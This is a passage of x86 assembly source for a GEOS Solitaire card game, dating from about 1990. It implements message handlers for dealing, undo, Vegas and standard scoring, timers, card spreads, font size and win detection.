%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_UNMARK_ACCEPTORS handler for SolitaireClass Resets the DA_WANTS_DRAG bit in decks where that bit got set in MSG_GAME_MARK_ACCEPTORS and shouldn't have been. This happens when the drop card is an ace and the top card of the deck is a 2 of opposite color. CALLED BY: PASS: nothing CHANGES: may unmark certain decks as acceptors. RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 10/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ; ; The constants (FIRST,LAST)_TABLEAU_ELEMENT represent the child ; numbers of the first and last tableau elements ; FIRST_TABLEAU_ELEMENT = 6 LAST_TABLEAU_ELEMENT = 12 SolitaireUnmarkAcceptors method SolitaireClass, \ MSG_GAME_UNMARK_ACCEPTORS ; ; Get the drop card attributes from the dropping deck ; CallObjectCXDX MSG_DECK_GET_DROP_CARD_ATTRIBUTES, MF_CALL ; ; If the user isn't dropping an ace, then there is no ; need to unmark anything ; CmpRank bp, CR_ACE jne endSolitaireUnmark mov dx, FIRST_TABLEAU_ELEMENT startLoop: cmp dx, LAST_TABLEAU_ELEMENT jg endLoop push dx clr cx mov ax, MSG_VIS_FIND_CHILD call ObjCallInstanceNoLock ;^lcx:dx = TE .warn -private mov di, dx mov di, ds:[di] add di, ds:[di].Deck_offset RESET ds:[di].DI_deckAttrs, DA_WANTS_DRAG .warn @private pop dx inc dx jmp startLoop endLoop: endSolitaireUnmark: ret SolitaireUnmarkAcceptors endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TimeToTextObject %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Creates a time string and sets the Text Object to display this string. CALLED BY: SolitaireUpdateTime PASS: ES = DGroup DS = Relocatable segment DI:SI = Block:chunk of TextObject CX = # of seconds RETURN: Nothing DESTROYED: AX, BX, CX, DX, BP PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Jon 8/6/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TimeToTextObject proc near uses di, es .enter mov bx, di ; BX:SI is the TextEditObject segmov es, ss, dx ; SS to ES and DX! sub sp, EVEN_DATE_TIME_BUFFER_SIZE ; allocate room on the stack mov bp, sp ; ES:BP => buffer to fill mov_tr ax, cx call WriteTime clr cx ; string is NULL terminated mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR mov di, mask MF_FIXUP_DS or mask MF_CALL call ObjMessage ; send the method add sp, EVEN_DATE_TIME_BUFFER_SIZE ; restore the stack .leave ret TimeToTextObject endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireUndo %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_UNDO handler for SolitaireClass Undoes the last transfer of cards performed. CALLED BY: PASS: nothing CHANGES: undoes last 'move' by returning any cards that exchanged ownership RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: calls deck in GI_lastDonor to retrieve the last donation, then resets the score to GI_lastScore KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 10/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireUndo method SolitaireClass, MSG_SOLITAIRE_UNDO ; ; If the game is redealing, or was just won, forget about ; undoing anything ; test ds:[di].GI_gameAttrs, mask GA_REDEAL_REQUESTED jnz endSolitaireUndo test ds:[di].GI_gameAttrs, mask GA_JUST_WON_A_GAME jnz endSolitaireUndo PointDi2 Game_offset clr bx xchg bx, ds:[di].GI_lastDonor.handle tst bx jz endSolitaireUndo getCardsBack:: push ds:[di].GI_lastScore push si ; ; Since we're undoing the transfer, we want to clear out the ; lastDonor field so it doesn't happen again. ; clr si xchg si, ds:[di].GI_lastDonor.chunk mov ax, MSG_DECK_RETRIEVE_CARDS mov di, mask MF_FIXUP_DS call ObjMessage cmp si, offset MyTalon jne updateScore ; ; The talon is getting some cards back, so disable the ; auto finish trigger if need be. ; mov bx, handle AutoFinishTrigger mov si, offset AutoFinishTrigger mov ax, MSG_GEN_SET_NOT_USABLE mov dl, VUM_DELAYED_VIA_APP_QUEUE mov di, mask MF_FIXUP_DS call ObjMessage mov bx, handle NewGameTrigger mov si, offset NewGameTrigger mov ax, MSG_GEN_SET_USABLE mov di, mask MF_FIXUP_DS call ObjMessage updateScore: pop si ; ; Restore the score to what it was before the transfer ; pop cx clr dx mov bx, ds:[LMBH_handle] mov di, mask MF_FIXUP_DS or mask MF_FORCE_QUEUE mov ax, MSG_GAME_UPDATE_SCORE call ObjMessage mov dl, VUM_NOW CallObjectNS UndoTrigger, MSG_GEN_SET_NOT_ENABLED, MF_FIXUP_DS endSolitaireUndo: ret SolitaireUndo endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireUpdateTimesThru %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_UPDATE_TIMES_THRU handler for SolitaireClass Updates the number of times the player has gone thru the hand. CALLED BY: TalonFlush, HandReturnCards PASS: cx = incremental amount (probably +1 or -1) CHANGES: RETURN: cx = times thru - draw number DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jon 9/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireUpdateTimesThru method SolitaireClass, MSG_SOLITAIRE_UPDATE_TIMES_THRU add cx, ds:[di].KI_nTimesThru mov ds:[di].KI_nTimesThru, cx mov dl, ds:[di].KI_drawNumber clr dh sub cx, dx ret SolitaireUpdateTimesThru endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireQueryFlushOK %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_QUERY_FLUSH_OK handler for SolitaireClass Checks to make sure that the talon hasn't been flushed more than the number of cards that are flipped each time (under vegas scoring only). CALLED BY: PASS: nothing CHANGES: nothing RETURN: carry set if ok to flush carry clear if not ok to flush DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jon 10/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireQueryFlushOK method SolitaireClass, MSG_SOLITAIRE_QUERY_FLUSH_OK ; ; If the game is *not* vegas scoring, then there is never ; a time we would want to restrict flushing the talon, so ; we just return affirmatively ; cmp ds:[di].KI_scoringType, ST_VEGAS ;vegas scoring? jne isOkay ;if not, don't worry mov cx, ds:[di].KI_nTimesThru ;cx <- # times thru inc cx cmp cl, ds:[di].KI_drawNumber ;compare the # of ;flushes already to ;the number of cards ;turned each time jl isOkay ;if less, ok ; ; Tell the user that it is NOT ok to flush the talon ; clc jmp endSolitaireQueryFlushOK isOkay: stc endSolitaireQueryFlushOK: ret SolitaireQueryFlushOK endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireCheckMinimumScore %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_CHECK_MINIMUM_SCORE handler for SolitaireClass Checks to make sure that a score is not less than the minimum score allowed by the game. CALLED BY: PASS: cx = score to check CHANGES: RETURN: cx = max(passed score, minimum allowable score) DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 10/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireCheckMinimumScore method SolitaireClass, MSG_GAME_CHECK_MINIMUM_SCORE cmp ds:[di].KI_scoringType, ST_VEGAS je checkVegas cmp ds:[di].KI_scoringType, ST_STANDARD_UNTIMED jg returnScore cmp cx, SS_MINIMUM_SCORE ;have we gone below minimum jge returnScore ;score? if so, rectify mov cx, SS_MINIMUM_SCORE ;the situation by setting ;score to the minimum returnScore: ret checkVegas: cmp cx, VS_MINIMUM_SCORE jge returnScore mov cx, VS_MINIMUM_SCORE jmp returnScore SolitaireCheckMinimumScore endm SolitaireUpdateScore method SolitaireClass, MSG_GAME_UPDATE_SCORE mov di, offset SolitaireClass call ObjCallSuperNoLock mov di, ds:[si] add di, ds:[di].Game_offset cmp ds:[di].KI_scoringType, ST_VEGAS je vegas done: ret vegas: mov ax, ds:[di].GI_score mov ds:[di].KI_cash, ax jmp done SolitaireUpdateScore endm if 0 SolitaireCashOut method SolitaireClass, MSG_SOLITAIRE_CASH_OUT zero ax, dx mov cx, ds:[di].KI_cash tst cx jle updateScore mov bl, ds:[di].KI_drawNumber mov bh, ds:[di].GI_userMode call HiScoreAddScore updateScore: pushf mov cx, dx ;cx, dx = 0 mov ax, MSG_GAME_UPDATE_SCORE call ObjCallInstanceNoLock popf ; ; If score made it into high scores, no need to redeal ; (done through the summons) ; jc done mov ax, MSG_SOLITAIRE_REDEAL call ObjCallInstanceNoLock done: ret SolitaireCashOut endm endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireDeal %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_DEAL handler for SolitaireClass Deals out cards for a new solitaire game CALLED BY: PASS: nothing CHANGES: RETURN: nothing DESTROYED: ax, bx, cx, dx, bp, di PSEUDO CODE/STRATEGY: for (n = 1; n <= 7; n++) { deal an up card to tableauElement #n for (m = n + 1; m<=7; m++) { deal a down card to tableauElement #m } } KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 7/90 initial version jon 9/90 took this function out of hand.asm and put it into solitaire.asm %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireDeal method SolitaireClass, MSG_SOLITAIRE_DEAL ; ; Get the composite locations of the first and last tableau ; elements ; mov bp, LAST_TABLEAU_ELEMENT push bp mov bp, FIRST_TABLEAU_ELEMENT push bp startLoop1: CallObject MyHand, MSG_DECK_POP_CARD, MF_CALL jnc gotKid jmp endLoop1 ;if no child to pop, end gotKid: CallObjectCXDX MSG_CARD_TURN_FACE_UP, MF_FIXUP_DS pop bp ;bp <- # of tE to receive face up card push bp push cx,dx ;save card OD mov dx, bp ;dx <- te # clr cx ; ; Get the OD of the tableau element to receive the next card ; mov ax, MSG_VIS_FIND_CHILD call ObjCallInstanceNoLock ; ; Give the card to the tableau element ; PLAY_SOUND SS_DEALING ;play the card dealt sound mov bx, cx ;bx <- handle of recipient tableauElement mov bp, dx ;bp <- offset of recipient tableauElement pop cx, dx ;restore card OD push si ;save hand offset mov si, bp ;si <- offset of recipient tableauElement mov ax, MSG_DECK_GET_DEALT ;deal card mov di, mask MF_FIXUP_DS call ObjMessage pop si ;restore hand offset pop cx ;number of guy who got the up card pop dx ;number of last TE cmp cx, dx ;done yet? jge endLoop1 push cx ;number of guy who got the up card push dx ;number of last TE push cx ;index to use for number of guy to get down card startLoop2: pop cx ;# of te that got last card pop dx ;# of te7 inc cx cmp cx,dx ;done yet? jg endLoop2 push dx ;push # of te7 push cx ;push # of te to receive next card CallObject MyHand, MSG_DECK_POP_CARD, MF_CALL jc endLoop2 ;if no child to pop, end pop bp ;bp <- # of te to receive next card push bp push cx,dx ;save card OD mov dx, bp clr cx mov ax, MSG_VIS_FIND_CHILD call ObjCallInstanceNoLock mov bx, cx ;bx <- handle of te to receive card mov bp, dx ;bp <- offset of te to receive card pop cx, dx ;restore OD of card push si ;save hand offset mov si, bp ;si <- offset of recipient te mov ax, MSG_DECK_GET_DEALT ;deal card mov di, mask MF_FIXUP_DS call ObjMessage pop si jmp startLoop2 endLoop2: ; ; stack should contain only number of TE that got last up card ; pop cx ; number of TE that got last card push dx ; number of TE7 inc cx ;point at next te push cx ;push # of te to receive next card jmp startLoop1 endLoop1: PointDi2 Game_offset RESET ds:[di].GI_gameAttrs, GA_REDEAL_REQUESTED clr ds:[di].KI_nTimesThru mov ds:[di].KI_nFaceDownCardsInTableau, 21 mov dl, VUM_NOW CallObjectNS RedealTrigger, MSG_GEN_SET_ENABLED, MF_FIXUP_DS ret SolitaireDeal endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireHandSelected %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_HAND_SELECTED handler for SolitaireClass Instructs the hand object to either turn over more cards into the talon, or if the hand is out of cards, to get them back from the talon. CALLED BY: PASS: nothing CHANGES: RETURN: nothing DESTROYED: ax, bx, di, si PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireHandSelected method SolitaireClass, MSG_GAME_HAND_SELECTED mov bx, handle MyHand mov si, offset MyHand mov ax, MSG_TURN_OR_FLUSH mov di, mask MF_FIXUP_DS call ObjMessage ret SolitaireHandSelected endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireShutdown %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_SHUTDOWN handler for SolitaireClass Makes sure that the timer is turned off before exiting. CALLED BY: PASS: nothing CHANGES: if KI_timerHandle is non-zero, call TimerStop on it RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireShutdown method SolitaireClass, MSG_GAME_SHUTDOWN tst ds:[di].KI_timerHandle jz callSuper clr bx xchg bx, ds:[di].KI_timerHandle clr ax ; 0 => continual call TimerStop callSuper: mov di, segment SolitaireClass mov es, di mov di, offset SolitaireClass mov ax, MSG_GAME_SHUTDOWN call ObjCallSuperNoLock ret SolitaireShutdown endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireSetUpSpreads %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_SET_UP_SPREADS handler for SolitaireClass Sets the visual spreads for Solitaire's decks for cards placed on face up cards. CALLED BY: PASS: dx = vertical displacement (horizontal displacement for Solitaire = 0) CHANGES: RETURN: nothing DESTROYED: bp, bx PSEUDO CODE/STRATEGY: call SetSpreads after clearing the horizontal component KNOWN BUGS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireSetUpSpreads method dynamic SolitaireClass, MSG_GAME_SET_UP_SPREADS .enter mov ds:[di].GI_upSpreadX, cx mov ds:[di].GI_upSpreadY, dx push cx ;save horiz spread clr cx ;no horiz up spread mov ax, MSG_DECK_SET_UP_SPREADS mov bx, handle TE1 mov si, offset TE1 clr di call ObjMessage mov si, offset TE2 clr di call ObjMessage mov si, offset TE3 clr di call ObjMessage mov si, offset TE4 clr di call ObjMessage mov si, offset TE5 clr di call ObjMessage mov si, offset TE6 clr di call ObjMessage mov si, offset TE7 clr di call ObjMessage pop cx ;cx <- horiz spread clr dx mov si, offset MyTalon clr di call ObjMessage .leave ret SolitaireSetUpSpreads endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireSetDownSpreads %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_SET_DOWN_SPREADS handler for SolitaireClass Sets the visual spreads for Solitaire's decks for cards placed on face down cards. CALLED BY: PASS: dx = vertical displacement (horizontal displacement for Solitaire = 0) CHANGES: RETURN: nothing DESTROYED: bp, bx PSEUDO CODE/STRATEGY: call SetSpreads after clearing the horizontal component KNOWN BUGS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireSetDownSpreads method SolitaireClass, MSG_GAME_SET_DOWN_SPREADS .enter mov di, offset SolitaireClass call ObjCallSuperNoLock clr cx mov ax, MSG_DECK_SET_DOWN_SPREADS mov bx, handle TE1 mov si, offset TE1 clr di call ObjMessage mov si, offset TE2 clr di call ObjMessage mov si, offset TE3 clr di call ObjMessage mov si, offset TE4 clr di call ObjMessage mov si, offset TE5 clr di call ObjMessage mov si, offset TE6 clr di call ObjMessage mov si, offset TE7 clr di call ObjMessage .leave ret SolitaireSetDownSpreads endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireSetFontSize %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SET_FONT_SIZE handler for SolitaireClass Resizes the text in the status bar to the passed point size. CALLED BY: PASS: cx = point size CHANGES: RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireSetFontSize method SolitaireClass, MSG_GAME_SET_FONT_SIZE mov dx, size VisTextSetPointSizeParams sub sp, dx mov bp, sp ; structure => SS:BP clrdw ss:[bp].VTSPSP_range.VTR_start movdw ss:[bp].VTSPSP_range.VTR_end, TEXT_ADDRESS_PAST_END mov ss:[bp].VTSPSP_pointSize.WWF_frac, 0 mov ss:[bp].VTSPSP_pointSize.WWF_int, cx CallObjectNS ScoreLabel, MSG_VIS_TEXT_SET_POINT_SIZE, MF_STACK CallObjectNS ScoreValue, MSG_VIS_TEXT_SET_POINT_SIZE, MF_STACK CallObjectNS TimeLabel, MSG_VIS_TEXT_SET_POINT_SIZE, MF_STACK CallObjectNS TimeValue, MSG_VIS_TEXT_SET_POINT_SIZE, MF_STACK add sp, size VisTextSetPointSizeParams ret SolitaireSetFontSize endm if 0 ;I hate this damn effect COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireWeHaveAWinner %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_WE_HAVE_A_WINNER handler for SolitaireClass Creates the lovely card-fan-effect when the game has been won. CALLED BY: PASS: nothing CHANGES: stops the game timer (if any) RETURN: nothing DESTROYED: all PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: nothing REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ; ; The following two constants define the amount of "spread" ; in the card fan. EFFECTS_ANGLE is the initial angle at which ; the fan begins drawing, and EFFECTS_DELTA_ANGLE is the amount ; the angle is increased for each new card being drawn ; EFFECTS_ANGLE = 28 EFFECTS_DELTA_ANGLE = 1 FIRST_FOUNDATION = 2 LAST_FOUNDATION = 5 SolitaireWeHaveAWinner method SolitaireClass, MSG_SOLITAIRE_WE_HAVE_A_WINNER ; ; Stop the game timer if need be ; cmp ds:[di].KI_timeStatus, TIME_EXPIRED je createGState mov ds:[di].KI_timeStatus, TIME_STOPPED clr bx xchg bx, ds:[di].KI_timerHandle tst bx jz checkHiScore clr ax ; 0 => continual call TimerStop checkHiScore: mov bl, ds:[di].KI_drawNumber mov bh, ds:[di].GI_userMode cmp ds:[di].KI_scoringType, ST_STANDARD_UNTIMED jg checkCountDown mov cx, ds:[di].GI_score clr dx mov ax, ds:[di].KI_time ; call HiScoreAddScore jmp createGState checkCountDown: cmp ds:[di].KI_scoringType, ST_COUNTDOWN jne createGState ; ; Calculate a "score" for the countdown time ; ; For now, = 3600 - time ; mov ax, ds:[di].KI_countdownTime mov cx, 3600 sub cx, ax clr dx ; call HiScoreAddScore createGState: mov ax, MSG_VIS_VUP_CREATE_GSTATE call ObjCallInstanceNoLock ; ; The fan is rotated about a point 4 card widths from the left ; edge of the screen and 800 pixels from the top of the screen, ; so we need to translate our gstate origin to that point ; PointDi2 Game_offset mov dx, ds:[di].GI_cardWidth ;dx <- 4 * cardWidth shl dx shl dx mov bx, 50 push bx mov bx, 800 push bx clr cx clr ax mov di, bp call GrApplyTranslation ; ; Now we apply the intial rotation to the gstate (subsequent ; rotations are carried out by the cards themselves). ; clr cx mov dx, EFFECTS_ANGLE call GrApplyRotation mov bp, di pop cx pop bx sub cx, bx ; ; Now we tell each of the foundations to spray their cards out ; mov dx, FIRST_FOUNDATION mov bx, ds:[LMBH_handle] mov ax, MSG_SOLITAIRE_SPRAY_DECK mov di, mask MF_FIXUP_DS or mask MF_FORCE_QUEUE call ObjMessage mov dx, FIRST_FOUNDATION + 1 mov bx, ds:[LMBH_handle] mov ax, MSG_SOLITAIRE_SPRAY_DECK mov di, mask MF_FIXUP_DS or mask MF_FORCE_QUEUE call ObjMessage mov dx, FIRST_FOUNDATION + 2 mov bx, ds:[LMBH_handle] mov ax, MSG_SOLITAIRE_SPRAY_DECK mov di, mask MF_FIXUP_DS or mask MF_FORCE_QUEUE call ObjMessage mov dx, LAST_FOUNDATION mov bx, ds:[LMBH_handle] mov ax, MSG_SOLITAIRE_SPRAY_DECK mov di, mask MF_FIXUP_DS or mask MF_FORCE_QUEUE call ObjMessage endSolitaireWeHaveAWinner: ret SolitaireWeHaveAWinner endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireSprayDeck %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_SPRAY_DECK handler for SolitaireClass Sends a method to the indicated deck instructing it to spray out its cards. CALLED BY: PASS: cx = radius of the fan (in pixels) dx = # of child in composite to spray bp = gstate to spray through CHANGES: RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireSprayDeck method SolitaireClass, MSG_SOLITAIRE_SPRAY_DECK test ds:[di].GI_gameAttrs, mask GA_JUST_WON_A_GAME jz endSolitaireSprayDeck test ds:[di].GI_gameAttrs, mask GA_REDEAL_REQUESTED or mask GA_ICONIFIED jnz endSolitaireSprayDeck ; ; push cx, bp clr cx mov ax, MSG_VIS_FIND_CHILD call ObjCallInstanceNoLock pop bx, bp xchg bx, cx jc endSolitaireSprayDeck mov si, dx mov dx, EFFECTS_DELTA_ANGLE neg dx mov ax, MSG_DECK_SPRAY_CARDS mov di, mask MF_FIXUP_DS call ObjMessage endSolitaireSprayDeck: ret SolitaireSprayDeck endm endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireCheckForWinner %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_CHECK_FOR_WINNER handler for SolitaireClass Checks whether or not the user has won the game yet, and if so sends a method to itself to produce the win effect. CALLED BY: PASS: nothing CHANGES: RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireCheckForWinner method SolitaireClass, MSG_SOLITAIRE_CHECK_FOR_WINNER CallObject Foundation1, MSG_DECK_GET_N_CARDS, MF_CALL cmp cx, 13 LONG jl noWinner CallObject Foundation2, MSG_DECK_GET_N_CARDS, MF_CALL cmp cx, 13 LONG jl noWinner CallObject Foundation3, MSG_DECK_GET_N_CARDS, MF_CALL cmp cx, 13 LONG jl noWinner CallObject Foundation4, MSG_DECK_GET_N_CARDS, MF_CALL cmp cx, 13 LONG jl noWinner mov di, ds:[si] add di, ds:[di].Game_offset test ds:[di].GI_gameAttrs, mask GA_JUST_WON_A_GAME jnz noWinner SET ds:[di].GI_gameAttrs, GA_JUST_WON_A_GAME mov dl, VUM_NOW CallObject UndoTrigger, MSG_GEN_SET_NOT_ENABLED, MF_FIXUP_DS ;; call SolitairePauseTimer ; ; Stop the timer because we have a winner. Can't just ; pause it or else it will unpause if we are transparently ; detached and then restarted. --jwu 9/28/93 ; call SolitaireStopTimer mov dl, VUM_DELAYED_VIA_APP_QUEUE CallObject AutoFinishTrigger, MSG_GEN_SET_NOT_USABLE, MF_FIXUP_DS CallObject NewGameTrigger, MSG_GEN_SET_USABLE, MF_FIXUP_DS ; Tell the user he/she won. ; PLAY_SOUND SS_GAME_WON ; "user completed a game successfully" sound clr ax pushdw axax ; SDOP_helpContext pushdw axax ; SDOP_customTriggers pushdw axax ; SDOP_stringArg2 pushdw axax ; SDOP_stringArg1 mov bx, handle StringBlock mov ax, offset WinningString pushdw bxax ; SDOP_customString mov ax, CDT_NOTIFICATION shl offset CDBF_DIALOG_TYPE or \ GIT_NOTIFICATION shl offset CDBF_INTERACTION_TYPE push ax call UserStandardDialogOptr if 0 mov ax, MSG_SOLITAIRE_NEW_GAME call ObjCallInstanceNoLock ;else mov ax, MSG_SOLITAIRE_WE_HAVE_A_WINNER call ObjCallInstanceNoLock endif jmp done noWinner: mov di, ds:[si] add di, ds:[di].Game_offset cmp ds:[di].KI_timeStatus, TIME_WAITING_FOR_HOMEBOY_TO_STOP_DRAGGING je outOfTime done: ret outOfTime: PLAY_SOUND SS_OUT_OF_TIME ; "user is out of time" sound mov ds:[di].KI_timeStatus, TIME_EXPIRED mov ax, MSG_GEN_INTERACTION_INITIATE mov bx, handle OutOfTimeBox mov si, offset OutOfTimeBox clr di call ObjMessage jmp done SolitaireCheckForWinner endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireSetDonor %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_SET_DONOR handler for SolitaireClass Checks to see if the game has been won as a result of the last card transfer CALLED 